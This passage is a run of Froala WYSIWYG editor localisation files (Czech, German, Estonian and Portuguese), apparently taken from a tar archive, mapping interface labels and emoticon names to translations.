'Shortcuts': 'Zkratky', 'Inline Editor': 'Inline editor', 'Show the editor': 'Zobrazit editor', 'Common actions': 'Společné akce', 'Copy': 'Kopírovat', 'Cut': 'Vystřihnout', 'Paste': 'Vložit', 'Basic Formatting': 'Základní formátování', 'Increase quote level': 'Zvýšení kvóty', 'Decrease quote level': 'Snížení kvóty', 'Image / Video': 'Obrázek / Video', 'Resize larger': 'Zvětšit', 'Resize smaller': 'Zmenšit', 'Table': 'Tabulka', 'Select table cell': 'Vyberte buňku tabulky', 'Extend selection one cell': 'Rozšířit výběr o jednu buňku', 'Extend selection one row': 'Rozšířit výběr o jeden řádek', 'Navigation': 'Navigace', 'Focus popup / toolbar': 'Predvybrat popup / panel nástrojů', 'Return focus to previous position': 'Návrat na předchozí pozici', // Embed.ly 'Embed URL': 'Vložte url', 'Paste in a URL to embed': 'Vložit adresu URL', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Vložený obsah pochází z dokumentu Microsoft Word. Chcete formát uchovat nebo jej vyčistit?', 'Keep': 'Uchovat', 'Clean': 'Vyčistit', 'Word Paste Detected': 'Detekovaný obsah dokumentu Word' }, direction: 'ltr' }; }))); //# sourceMappingURL=cs.js.map languages/de.js 0000674 00000030473 00000000000 0007413 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * German */ FE.LANGUAGE['de'] = { translation: { // Font Awesome 'Font Awesome': 'Font Awesome', 'Web Application Icons': 'Web Anwendungen', 'Accessibility Icons': 'Barrierefreiheit', 'Hand Icons': 'Hände', 'Transportation Icons': 'Transport', 'Gender Icons': 'Geschlechter', 'Form Control Icons': 'Formulare', 'Payment Icons': 'Zahlungsarten', 'Chart Icons': 'Diagramme', 'Currency Icons': 'Währungen', 'Text Editor Icons': 'Text Editor', 'Brand Icons': 'Marken', // Place holder 'Type something': 'Hier tippen', // Basic formatting 'Bold': 'Fett', 'Italic': 'Kursiv', 'Underline': 'Unterstrichen', 'Strikethrough': 'Durchgestrichen', // Main buttons 'Insert': 'Einfügen', 'Delete': 'Löschen', 'Cancel': 'Abbrechen', 'OK': 'OK', 'Back': 'Zurück', 'Remove': 'Entfernen', 'More': 'Mehr', 'Update': 'Aktualisieren', 'Style': 'Stil', // Font 'Font Family': 'Schriftart', 'Font Size': 'Schriftgröße', // Colors 'Colors': 'Farben', 'Background': 'Hintergrund', 'Text': 'Text', 'HEX Color': 'Hexadezimaler Farbwert', // Paragraphs 'Paragraph Format': 'Formatierung', 'Normal': 'Normal', 'Code': 'Quelltext', 'Heading 1': 'Überschrift 1', 'Heading 2': 'Überschrift 2', 'Heading 3': 'Überschrift 3', 'Heading 4': 'Überschrift 4', // Style 'Paragraph Style': 'Absatzformatierung', 'Inline Style': 'Inlineformatierung', // Alignment 'Align': 'Ausrichtung', 'Align Left': 'Linksbündig ausrichten', 'Align Center': 'Zentriert ausrichten', 'Align Right': 'Rechtsbündig ausrichten', 'Align Justify': 'Blocksatz', 'None': 'Keine', // Lists 'Default': 'Standard', // Ordered lists 'Ordered List': 'Nummerierte Liste', 'Lower Alpha': 'Kleinbuchstaben', 'Lower Greek': 'Griechisches Alphabet', 'Lower Roman': 'Römische Ziffern (klein)', 'Upper Alpha': 'Grossbuchstaben', 'Upper Roman': 'Römische Ziffern (gross)', // Unordered lists 'Unordered List': 'Unnummerierte Liste', 'Circle': 'Kreis', 'Disc': 'Kreis gefüllt', 'Square': 'Quadrat', // Line height 'Line Height': 'Zeilenhöhe', 'Single': 'Einfach', 'Double': 'Doppelt', // Indent 'Decrease Indent': 'Einzug verkleinern', 'Increase Indent': 'Einzug vergrößern', // Links 'Insert Link': 'Link einfügen', 'Open in new tab': 'In neuem Tab öffnen', 'Open Link': 'Link öffnen', 'Edit Link': 'Link bearbeiten', 'Unlink': 'Link entfernen', 'Choose Link': 'Einen Link auswählen', // Images 'Insert Image': 'Bild einfügen', 'Upload Image': 'Bild hochladen', 'By URL': 'Von URL', 'Browse': 'Durchsuchen', 'Drop image': 'Bild hineinziehen', 'or click': 'oder hier klicken', 'Manage Images': 'Bilder verwalten', 'Loading': 'Laden', 'Deleting': 'Löschen', 'Tags': 'Tags', 'Are you sure? Image will be deleted.': 'Wollen Sie das Bild wirklich löschen?', 'Replace': 'Ersetzen', 'Uploading': 'Hochladen', 'Loading image': 'Das Bild wird geladen', 'Display': 'Textausrichtung', 'Inline': 'Mit Text in einer Zeile', 'Break Text': 'Text umbrechen', 'Alternative Text': 'Alternativtext', 'Change Size': 'Größe ändern', 'Width': 'Breite', 'Height': 'Höhe', 'Something went wrong. Please try again.': 'Etwas ist schief gelaufen. Bitte versuchen Sie es erneut.', 'Image Caption': 'Bildbeschreibung', 'Advanced Edit': 'Erweiterte Bearbeitung', // Video 'Insert Video': 'Video einfügen', 'Embedded Code': 'Eingebetteter Code', 'Paste in a video URL': 'Fügen Sie die Video-URL ein', 'Drop video': 'Video hineinziehen', 'Your browser does not support HTML5 video.': 'Ihr Browser unterstützt keine HTML5-Videos.', 'Upload Video': 'Video hochladen', // Tables 'Insert Table': 'Tabelle einfügen', 'Table Header': 'Tabellenkopf', 'Remove Table': 'Tabelle entfernen', 'Table Style': 'Tabellenformatierung', 'Horizontal Align': 'Horizontale Ausrichtung', 'Row': 'Zeile', 'Insert row above': 'Neue Zeile davor einfügen', 'Insert row below': 'Neue Zeile danach einfügen', 'Delete row': 'Zeile löschen', 'Column': 'Spalte', 'Insert column before': 'Neue Spalte davor einfügen', 'Insert column after': 'Neue Spalte danach einfügen', 'Delete column': 'Spalte löschen', 'Cell': 'Zelle', 'Merge cells': 'Zellen verbinden', 'Horizontal split': 'Horizontal teilen', 'Vertical split': 'Vertikal teilen', 'Cell Background': 'Zellenfarbe', 'Vertical Align': 'Vertikale Ausrichtung', 'Top': 'Oben', 'Middle': 'Zentriert', 'Bottom': 'Unten', 'Align Top': 'Oben ausrichten', 'Align Middle': 'Zentriert ausrichten', 'Align Bottom': 'Unten ausrichten', 'Cell Style': 'Zellen-Stil', // Files 'Upload File': 'Datei hochladen', 'Insert File': 'Datei einfügen', 'Drop file': 'Datei hineinziehen', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Grinsendes Gesicht', 'Grinning face with smiling eyes': 'Grinsend Gesicht mit lächelnden Augen', 'Face with tears of joy': 'Gesicht mit Tränen der Freude', 'Smiling face with open mouth': 'Lächelndes Gesicht mit offenem Mund', 'Smiling face with open mouth and smiling eyes': 'Lächelndes Gesicht mit offenem Mund und lächelnden Augen', 'Smiling face with open mouth and cold sweat': 'Lächelndes Gesicht mit offenem Mund und kaltem Schweiß', 'Smiling face with open mouth and tightly-closed eyes': 'Lächelndes Gesicht mit offenem Mund und fest geschlossenen Augen', 'Smiling face with halo': 'Lächeln Gesicht mit Heiligenschein', 'Smiling face with horns': 'Lächeln Gesicht mit Hörnern', 'Winking face': 'Zwinkerndes Gesicht', 'Smiling face with smiling eyes': 'Lächelndes Gesicht mit lächelnden Augen', 'Face savoring delicious food': 'Gesicht leckeres Essen genießend', 'Relieved face': 'Erleichtertes Gesicht', 'Smiling face with heart-shaped eyes': 'Lächelndes Gesicht mit herzförmigen Augen', 'Smiling face with sunglasses': 'Lächelndes Gesicht mit Sonnenbrille', 'Smirking face': 'Grinsendes Gesicht', 'Neutral face': 'Neutrales Gesicht', 'Expressionless face': 'Ausdrucksloses Gesicht', 'Unamused face': 'Genervtes Gesicht', 'Face with cold sweat': 'Gesicht mit kaltem Schweiß', 'Pensive face': 'Nachdenkliches Gesicht', 'Confused face': 'Verwirrtes Gesicht', 'Confounded face': 'Elendes Gesicht', 'Kissing face': 'Küssendes Gesicht', 'Face throwing a kiss': 'Gesicht wirft einen Kuss', 'Kissing face with smiling eyes': 'Küssendes Gesicht mit lächelnden Augen', 'Kissing face with closed eyes': 'Küssendes Gesicht mit geschlossenen Augen', 'Face with stuck out tongue': 'Gesicht mit herausgestreckter Zunge', 'Face with stuck out tongue and winking eye': 'Gesicht mit herausgestreckter Zunge und zwinkerndem Auge', 'Face with stuck out tongue and tightly-closed eyes': 'Gesicht mit herausgestreckter Zunge und fest geschlossenen Augen', 'Disappointed face': 'Enttäuschtes Gesicht', 'Worried face': 'Besorgtes Gesicht', 'Angry face': 'Verärgertes Gesicht', 'Pouting face': 'Schmollendes Gesicht', 'Crying face': 'Weinendes Gesicht', 'Persevering face': 'Ausharrendes Gesicht', 'Face with look of triumph': 'Gesicht mit triumphierenden Blick', 'Disappointed but relieved face': 'Enttäuschtes, aber erleichtertes Gesicht', 'Frowning face with open mouth': 'Entsetztes Gesicht mit offenem Mund', 'Anguished face': 'Gequältes Gesicht', 'Fearful face': 'Angstvolles Gesicht', 'Weary face': 'Müdes Gesicht', 'Sleepy face': 'Schläfriges Gesicht', 'Tired face': 'Gähnendes Gesicht', 'Grimacing face': 'Grimassenschneidendes Gesicht', 'Loudly crying face': 'Laut weinendes Gesicht', 'Face with open mouth': 'Gesicht mit offenem Mund', 'Hushed face': 'Besorgtes Gesicht mit offenem Mund', 'Face with open mouth and cold sweat': 'Gesicht mit offenem Mund und kaltem Schweiß', 'Face screaming in fear': 'Vor Angst schreiendes Gesicht', 'Astonished face': 'Erstauntes Gesicht', 'Flushed face': 'Gerötetes Gesicht', 'Sleeping face': 'Schlafendes Gesicht', 'Dizzy face': 'Schwindliges Gesicht', 'Face without mouth': 'Gesicht ohne Mund', 'Face with medical mask': 'Gesicht mit Mundschutz', // Line breaker 'Break': 'Zeilenumbruch', // Math 'Subscript': 'Tiefgestellt', 'Superscript': 'Hochgestellt', // Full screen 'Fullscreen': 'Vollbild', // Horizontal line 'Insert Horizontal Line': 'Horizontale Linie einfügen', // Clear formatting 'Clear Formatting': 'Formatierung löschen', // Save 'Save': 'Speichern', // Undo, redo 'Undo': 'Rückgängig', 'Redo': 'Wiederholen', // Select all 'Select All': 'Alles auswählen', // Code view 'Code View': 'Code-Ansicht', // Quote 'Quote': 'Zitieren', 'Increase': 'Vergrößern', 'Decrease': 'Verkleinern', // Quick Insert 'Quick Insert': 'Schnell einfügen', // Spcial Characters 'Special Characters': 'Sonderzeichen', 'Latin': 'Lateinisch', 'Greek': 'Griechisch', 'Cyrillic': 'Kyrillisch', 'Punctuation': 'Satzzeichen', 'Currency': 'Währung', 'Arrows': 'Pfeile', 'Math': 'Mathematik', 'Misc': 'Sonstige', // Print. 'Print': 'Drucken', // Spell Checker. 'Spell Checker': 'Rechtschreibprüfung', // Help 'Help': 'Hilfe', 'Shortcuts': 'Tastaturkurzbefehle', 'Inline Editor': 'Inline-Editor', 'Show the editor': 'Editor anzeigen', 'Common actions': 'Häufig verwendete Befehle', 'Copy': 'Kopieren', 'Cut': 'Ausschneiden', 'Paste': 'Einfügen', 'Basic Formatting': 'Grundformatierung', 'Increase quote level': 'Zitatniveau erhöhen', 'Decrease quote level': 'Zitatniveau verringern', 'Image / Video': 'Bild / Video', 'Resize larger': 'Vergrößern', 'Resize smaller': 'Verkleinern', 'Table': 'Tabelle', 'Select table cell': 'Tabellenzelle auswählen', 'Extend selection one cell': 'Erweitere Auswahl um eine Zelle', 'Extend selection one row': 'Erweitere Auswahl um eine Zeile', 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Fokus-Popup / Symbolleiste', 'Return focus to previous position': 'Fokus auf vorherige Position', // Embed.ly 'Embed URL': 'URL einbetten', 'Paste in a URL to embed': 'URL einfügen um sie einzubetten', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Der eingefügte Inhalt kommt aus einem Microsoft Word-Dokument. Möchten Sie die Formatierungen behalten oder verwerfen?', 'Keep': 'Behalten', 'Clean': 'Bereinigen', 'Word Paste Detected': 'Aus Word einfügen', // Character Counter 'Characters': 'Zeichen', // More Buttons 'More Text': 'Weitere Textformate', 'More Paragraph': 'Weitere Absatzformate', 'More Rich': 'Weitere Reichhaltige Formate', 'More Misc': 'Weitere Formate', 'Text Color': 'Textfarbe', 'Background Color': 'Hintergrundfarbe' }, direction: 'ltr' }; }))); //# sourceMappingURL=de.js.map languages/et.js 0000674 00000025375 00000000000 0007440 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Estonian */ FE.LANGUAGE['et'] = { translation: { // Place holder 'Type something': 'Kirjuta midagi', // Basic formatting 'Bold': 'Rasvane', 'Italic': 'Kursiiv', 'Underline': 'Allajoonitud', 'Strikethrough': "L\xE4bikriipsutatud", // Main buttons 'Insert': 'Lisa', 'Delete': 'Kustuta', 'Cancel': "T\xFChista", 'OK': 'OK', 'Back': 'Tagasi', 'Remove': 'Eemaldama', 'More': 'Rohkem', 'Update': 'Ajakohastama', 'Style': 'Stiil', // Font 'Font Family': 'Fondi perekond', 'Font Size': 'Fondi suurus', // Colors 'Colors': "V\xE4rvid", 'Background': 'Taust', 'Text': 'Tekst', 'HEX Color': 'Hex värvi', // Paragraphs 'Paragraph Format': 'Paragrahv formaat', 'Normal': 'Normaalne', 'Code': 'Kood', 'Heading 1': "P\xE4is 1", 'Heading 2': "P\xE4is 2", 'Heading 3': "P\xE4is 3", 'Heading 4': "P\xE4is 4", // Style 'Paragraph Style': 'Paragrahv stiil', 'Inline Style': "J\xE4rjekorras stiil", // Alignment 'Align': 'Joonda', 'Align Left': 'Joonda vasakule', 'Align Center': 'Joonda keskele', 'Align Right': 'Joonda paremale', 'Align Justify': "R\xF6\xF6pjoondus", 'None': "Mitte \xFCkski", // Lists 'Ordered List': 'Tellitud nimekirja', 'Unordered List': 'Tavalise nimekirja', // Indent 'Decrease Indent': "V\xE4henemine taane", 'Increase Indent': 'Suurenda taanet', // Links 'Insert Link': 'Lisa link', 'Open in new tab': 'Ava uues sakis', 'Open Link': 'Avatud link', 'Edit Link': 'Muuda link', 'Unlink': 'Eemalda link', 'Choose Link': 'Vali link', // Images 'Insert Image': 'Lisa pilt', 'Upload Image': 'Laadige pilt', 'By URL': 'Poolt URL', 'Browse': 'sirvida', 'Drop image': 'Aseta pilt', 'or click': "v\xF5i kliki", 'Manage Images': 'Halda pilte', 'Loading': 'Laadimine', 'Deleting': 'Kustutamine', 'Tags': 'Sildid', 'Are you sure? Image will be deleted.': 'Oled sa kindel? Pilt kustutatakse.', 'Replace': 'Asendama', 'Uploading': 'Laadimise pilti', 'Loading image': 'Laadimise pilti', 'Display': 'Kuvama', 'Inline': "J\xE4rjekorras", 'Break Text': 'Murdma teksti', 'Alternative Text': 'Asendusliikme teksti', 'Change Size': 'Muuda suurust', 'Width': 'Laius', 'Height': "K\xF5rgus", 'Something went wrong. Please try again.': "Midagi l\xE4ks valesti. Palun proovi uuesti.", 'Image Caption': 'Pildi pealkiri', 'Advanced Edit': 'Täiustatud redigeerimine', // Video 'Insert Video': 'Lisa video', 'Embedded Code': 'Varjatud koodi', 'Paste in a video URL': 'Kleebi video URL-i', 'Drop video': 'Tilk videot', 'Your browser does not support HTML5 video.': 'Teie brauser ei toeta html5-videot.', 'Upload Video': 'Video üleslaadimine', // Tables 'Insert Table': 'Sisesta tabel', 'Table Header': "Tabel p\xE4ise kaudu", 'Remove Table': 'Eemalda tabel', 'Table Style': 'Tabel stiili', 'Horizontal Align': 'Horisontaalne joonda', 'Row': 'Rida', 'Insert row above': "Sisesta rida \xFCles", 'Insert row below': 'Sisesta rida alla', 'Delete row': 'Kustuta rida', 'Column': 'Veerg', 'Insert column before': 'Sisesta veerg ette', 'Insert column after': "Sisesta veerg j\xE4rele", 'Delete column': 'Kustuta veerg', 'Cell': 'Lahter', 'Merge cells': "\xFChenda lahtrid", 'Horizontal split': 'Poolita horisontaalselt', 'Vertical split': 'Poolita vertikaalselt', 'Cell Background': 'Lahter tausta', 'Vertical Align': 'Vertikaalne joonda', 'Top': "\xFClemine", 'Middle': 'Keskmine', 'Bottom': "P\xF5hi", 'Align Top': "Joonda \xFClemine", 'Align Middle': 'Joonda keskmine', 'Align Bottom': "Joonda P\xF5hi", 'Cell Style': 'Lahter stiili', // Files 'Upload File': "Lae fail \xFCles", 'Drop file': 'Aseta fail', // Emoticons 'Emoticons': 'Emotikonid', 'Grinning face': "Irvitas n\xE4kku", 'Grinning face with smiling eyes': "Irvitas n\xE4kku naeratavad silmad", 'Face with tears of joy': "N\xE4gu r\xF5\xF5mupisaratega", 'Smiling face with open mouth': "Naeratav n\xE4gu avatud suuga", 'Smiling face with open mouth and smiling eyes': "Naeratav n\xE4gu avatud suu ja naeratavad silmad", 'Smiling face with open mouth and cold sweat': "Naeratav n\xE4gu avatud suu ja k\xFClm higi", 'Smiling face with open mouth and tightly-closed eyes': "Naeratav n\xE4gu avatud suu ja tihedalt suletud silmad", 'Smiling face with halo': "Naeratav n\xE4gu halo", 'Smiling face with horns': "Naeratav n\xE4gu sarved", 'Winking face': "Pilgutab n\xE4gu", 'Smiling face with smiling eyes': "Naeratav n\xE4gu naeratab silmad", 'Face savoring delicious food': "N\xE4gu nautides maitsvat toitu", 'Relieved face': "P\xE4\xE4stetud n\xE4gu", 'Smiling face with heart-shaped eyes': "Naeratav n\xE4gu s\xFCdajas silmad", 'Smiling face with sunglasses': "Naeratav n\xE4gu p\xE4ikeseprillid", 'Smirking face': "Muigama n\xE4gu ", 'Neutral face': "Neutraalne n\xE4gu", 'Expressionless face': "Ilmetu n\xE4gu", 'Unamused face': "Morn n\xE4gu", 'Face with cold sweat': "N\xE4gu k\xFClma higiga", 'Pensive face': "M\xF5tlik n\xE4gu", 'Confused face': "Segaduses n\xE4gu", 'Confounded face': "Segas n\xE4gu", 'Kissing face': "Suudlevad n\xE4gu", 'Face throwing a kiss': "N\xE4gu viskamine suudlus", 'Kissing face with smiling eyes': "Suudlevad n\xE4gu naeratab silmad", 'Kissing face with closed eyes': "Suudlevad n\xE4gu, silmad kinni", 'Face with stuck out tongue': "N\xE4gu ummikus v\xE4lja keele", 'Face with stuck out tongue and winking eye': "N\xE4gu ummikus v\xE4lja keele ja silma pilgutav silma", 'Face with stuck out tongue and tightly-closed eyes': "N\xE4gu ummikus v\xE4lja keele ja silmad tihedalt suletuna", 'Disappointed face': "Pettunud n\xE4gu", 'Worried face': "Mures n\xE4gu", 'Angry face': "Vihane n\xE4gu", 'Pouting face': "Tursik n\xE4gu", 'Crying face': "Nutt n\xE4gu", 'Persevering face': "P\xFCsiv n\xE4gu", 'Face with look of triumph': "N\xE4gu ilme triumf", 'Disappointed but relieved face': "Pettunud kuid vabastati n\xE4gu", 'Frowning face with open mouth': "Kulmukortsutav n\xE4gu avatud suuga", 'Anguished face': "Ahastavad n\xE4gu", 'Fearful face': "Hirmunult n\xE4gu", 'Weary face': 'Grimasse', 'Sleepy face': "Unine n\xE4gu", 'Tired face': "V\xE4sinud n\xE4gu", 'Grimacing face': "Grimassitavaks n\xE4gu", 'Loudly crying face': "Valjusti nutma n\xE4gu", 'Face with open mouth': "N\xE4gu avatud suuga", 'Hushed face': "Raskel n\xE4gu", 'Face with open mouth and cold sweat': "N\xE4gu avatud suu ja k\xFClm higi", 'Face screaming in fear': "N\xE4gu karjuvad hirm", 'Astonished face': "Lummatud n\xE4gu", 'Flushed face': "Punetav n\xE4gu", 'Sleeping face': "Uinuv n\xE4gu", 'Dizzy face': "Uimane n\xFCgu", 'Face without mouth': "N\xE4gu ilma suu", 'Face with medical mask': "N\xE4gu meditsiinilise mask", // Line breaker 'Break': 'Murdma', // Math 'Subscript': 'Allindeks', 'Superscript': "\xDClaindeks", // Full screen 'Fullscreen': "T\xE4isekraanil", // Horizontal line 'Insert Horizontal Line': 'Sisesta horisontaalne joon', // Clear formatting 'Clear Formatting': 'Eemalda formaatimine', // Save 'Save': 'Salvesta', // Undo, redo 'Undo': "V\xF5ta tagasi", 'Redo': 'Tee uuesti', // Select all 'Select All': "Vali k\xF5ik", // Code view 'Code View': 'Koodi vaadata', // Quote 'Quote': 'Tsitaat', 'Increase': 'Suurendama', 'Decrease': "V\xE4henda", // Quick Insert 'Quick Insert': 'Kiire sisestada', // Spcial Characters 'Special Characters': 'Erimärgid', 'Latin': 'Latin', 'Greek': 'Kreeka keel', 'Cyrillic': 'Kirillitsa', 'Punctuation': 'Kirjavahemärgid', 'Currency': 'Valuuta', 'Arrows': 'Nooled', 'Math': 'Matemaatika', 'Misc': 'Misc', // Print. 'Print': 'Printige', // Spell Checker. 'Spell Checker': 'Õigekirja kontrollija', // Help 'Help': 'Abi', 'Shortcuts': 'Otseteed', 'Inline Editor': 'Sisemine redaktor', 'Show the editor': 'Näita redaktorit', 'Common actions': 'Ühised meetmed', 'Copy': 'Koopia', 'Cut': 'Lõigake', 'Paste': 'Kleepige', 'Basic Formatting': 'Põhiline vormindamine', 'Increase quote level': 'Suurendada tsiteerimise taset', 'Decrease quote level': 'Langetada tsiteerimise tase', 'Image / Video': 'Pilt / video', 'Resize larger': 'Suuruse muutmine suurem', 'Resize smaller': 'Väiksema suuruse muutmine', 'Table': 'Laud', 'Select table cell': 'Vali tabeli lahtrisse', 'Extend selection one cell': 'Laiendage valikut üks lahtrisse', 'Extend selection one row': 'Laiendage valikut ühe reana', 'Navigation': 'Navigeerimine', 'Focus popup / toolbar': 'Fookuse hüpikakna / tööriistariba', 'Return focus to previous position': 'Tagasi pöörata tähelepanu eelmisele positsioonile', // Embed.ly 'Embed URL': 'Embed url', 'Paste in a URL to embed': 'Kleepige URL-i sisestamiseks', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Kleepitud sisu pärineb Microsoft Wordi dokumendist. kas soovite vormi säilitada või puhastada?', 'Keep': 'Pidage seda', 'Clean': 'Puhas', 'Word Paste Detected': 'Avastatud sõna pasta', // Character Counter 'Characters': 'Tähemärgid', // More Buttons 'More Text': 'Rohkem teksti', 'More Paragraph': 'Rohkem lõiku', 'More Rich': 'Rohkem Rikas', 'More Misc': 'Rohkem Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=et.js.map languages/pt_pt.js 0000674 00000027002 00000000000 0010143 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Portuguese spoken in Portugal */ FE.LANGUAGE['pt_pt'] = { translation: { // Place holder 'Type something': 'Digite algo', // Missing translations 'Text Color': 'Cor do texto', 'Background Color': 'Cor de fundo', 'Inline Class': 'Classe Inline', 'Default': 'Padrão', 'Lower Alpha': 'Alfa minúsculo', 'Lower Greek': 'Grego minúsculo', 'Lower Roman': 'Roman minúsculo', 'Upper Alpha': 'Alfa maiúsculo', 'Upper Roman': 'Roman maiúscula', 'Circle': 'Círculo', 'Disc': 'Disco', 'Square': 'Quadrado', 'Single': 'Único', 'Double': 'Duplo', 'Insert Files': 'Inserir arquivos', 'Download PDF': 'Baixar PDF', // Basic formatting 'Bold': 'Negrito', 'Italic': "It\xE1lico", 'Underline': 'Sublinhado', 'Strikethrough': 'Rasurado', // Main buttons 'Insert': 'Inserir', 'Delete': 'Apagar', 'Cancel': 'Cancelar', 'OK': 'Ok', 'Back': 'Voltar', 'Remove': 'Remover', 'More': 'Mais', 'Update': 'Atualizar', 'Style': 'Estilo', // Font 'Font Family': 'Fonte', 'Font Size': 'Tamanho da fonte', // Colors 'Colors': 'Cores', 'Background': 'Fundo', 'Text': 'Texto', 'HEX Color': 'Cor hexadecimal', // Paragraphs 'Paragraph Format': 'Formatos', 'Normal': 'Normal', 'Code': "C\xF3digo", 'Heading 1': "Cabe\xE7alho 1", 'Heading 2': "Cabe\xE7alho 2", 'Heading 3': "Cabe\xE7alho 3", 'Heading 4': "Cabe\xE7alho 4", // Style 'Paragraph Style': "Estilo de par\xE1grafo", 'Inline Style': 'Estilo embutido', // Alignment 'Align': 'Alinhar', 'Align Left': "Alinhar \xE0 esquerda", 'Align Center': 'Alinhar ao centro', 'Align Right': "Alinhar \xE0 direita", 'Align Justify': 'Justificado', 'None': 'Nenhum', // Lists 'Ordered List': 'Lista ordenada', 'Unordered List': "Lista n\xE3o ordenada", // Indent 'Decrease Indent': "Diminuir avan\xE7o", 'Increase Indent': "Aumentar avan\xE7o", // Links 'Insert Link': 'Inserir link', 'Open in new tab': 'Abrir em uma nova aba', 'Open Link': 'Abrir link', 'Edit Link': 'Editar link', 'Unlink': 'Remover link', 'Choose Link': 'Escolha o link', // Images 'Insert Image': 'Inserir imagem', 'Upload Image': 'Carregar imagem', 'By URL': 'Por URL', 'Browse': 'Procurar', 'Drop image': 'Largue imagem', 'or click': 'ou clique em', 'Manage Images': 'Gerenciar as imagens', 'Loading': 'Carregando', 'Deleting': 'Excluindo', 'Tags': 'Etiquetas', 'Are you sure? Image will be deleted.': "Voc\xEA tem certeza? Imagem ser\xE1 apagada.", 'Replace': 'Substituir', 'Uploading': 'Carregando', 'Loading image': 'Carregando imagem', 'Display': 'Exibir', 'Inline': 'Em linha', 'Break Text': 'Texto de quebra', 'Alternative Text': 'Texto alternativo', 'Change Size': 'Alterar tamanho', 'Width': 'Largura', 'Height': 'Altura', 'Something went wrong. Please try again.': 'Algo deu errado. Por favor, tente novamente.', 'Image Caption': 'Legenda da imagem', 'Advanced Edit': 'Edição avançada', // Video 'Insert Video': "Inserir v\xEDdeo", 'Embedded Code': "C\xF3digo embutido", 'Paste in a video URL': 'Colar em um URL de vídeo', 'Drop video': 'Solte o video', 'Your browser does not support HTML5 video.': 'Seu navegador não suporta o vídeo html5.', 'Upload Video': 'Envio vídeo', // Tables 'Insert Table': 'Inserir tabela', 'Table Header': "Cabe\xE7alho da tabela", 'Remove Table': 'Remover tabela', 'Table Style': 'estilo de tabela', 'Horizontal Align': 'Alinhamento horizontal', 'Row': 'Linha', 'Insert row above': 'Inserir linha antes', 'Insert row below': 'Inserir linha depois', 'Delete row': 'Eliminar linha', 'Column': 'Coluna', 'Insert column before': 'Inserir coluna antes', 'Insert column after': 'Inserir coluna depois', 'Delete column': 'Eliminar coluna', 'Cell': "C\xE9lula", 'Merge cells': "Unir c\xE9lulas", 'Horizontal split': "Divis\xE3o horizontal", 'Vertical split': "Divis\xE3o vertical", 'Cell Background': "Fundo da c\xE9lula", 'Vertical Align': 'Alinhar vertical', 'Top': 'Topo', 'Middle': 'Meio', 'Bottom': 'Fundo', 'Align Top': 'Alinhar topo', 'Align Middle': 'Alinhar meio', 'Align Bottom': 'Alinhar fundo', 'Cell Style': "Estilo de c\xE9lula", // Files 'Upload File': 'Upload de arquivo', 'Drop file': 'Largar arquivo', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Sorrindo a cara', 'Grinning face with smiling eyes': 'Sorrindo rosto com olhos sorridentes', 'Face with tears of joy': "Rosto com l\xE1grimas de alegria", 'Smiling face with open mouth': 'Rosto de sorriso com a boca aberta', 'Smiling face with open mouth and smiling eyes': 'Rosto de sorriso com a boca aberta e olhos sorridentes', 'Smiling face with open mouth and cold sweat': 'Rosto de sorriso com a boca aberta e suor frio', 'Smiling face with open mouth and tightly-closed eyes': 'Rosto de sorriso com a boca aberta e os olhos bem fechados', 'Smiling face with halo': 'Rosto de sorriso com halo', 'Smiling face with horns': 'Rosto de sorriso com chifres', 'Winking face': 'Pisc a rosto', 'Smiling face with smiling eyes': 'Rosto de sorriso com olhos sorridentes', 'Face savoring delicious food': 'Rosto saboreando uma deliciosa comida', 'Relieved face': 'Rosto aliviado', 'Smiling face with heart-shaped eyes': "Rosto de sorriso com os olhos em forma de cora\xE7\xE3o", 'Smiling face with sunglasses': "Rosto de sorriso com \xF3culos de sol", 'Smirking face': 'Rosto sorridente', 'Neutral face': 'Rosto neutra', 'Expressionless face': 'Rosto inexpressivo', 'Unamused face': "O rosto n\xE3o divertido", 'Face with cold sweat': 'Rosto com suor frio', 'Pensive face': 'O rosto pensativo', 'Confused face': 'Cara confusa', 'Confounded face': "Rosto at\xF4nito", 'Kissing face': 'Beijar Rosto', 'Face throwing a kiss': 'Rosto jogando um beijo', 'Kissing face with smiling eyes': 'Beijar rosto com olhos sorridentes', 'Kissing face with closed eyes': 'Beijando a cara com os olhos fechados', 'Face with stuck out tongue': "Preso de cara com a l\xEDngua para fora", 'Face with stuck out tongue and winking eye': "Rosto com estendeu a l\xEDngua e olho piscando", 'Face with stuck out tongue and tightly-closed eyes': 'Rosto com estendeu a língua e os olhos bem fechados', 'Disappointed face': 'Rosto decepcionado', 'Worried face': 'O rosto preocupado', 'Angry face': 'Rosto irritado', 'Pouting face': 'Beicinho Rosto', 'Crying face': 'Cara de choro', 'Persevering face': 'Perseverar Rosto', 'Face with look of triumph': 'Rosto com olhar de triunfo', 'Disappointed but relieved face': 'Fiquei Desapontado mas aliviado Rosto', 'Frowning face with open mouth': 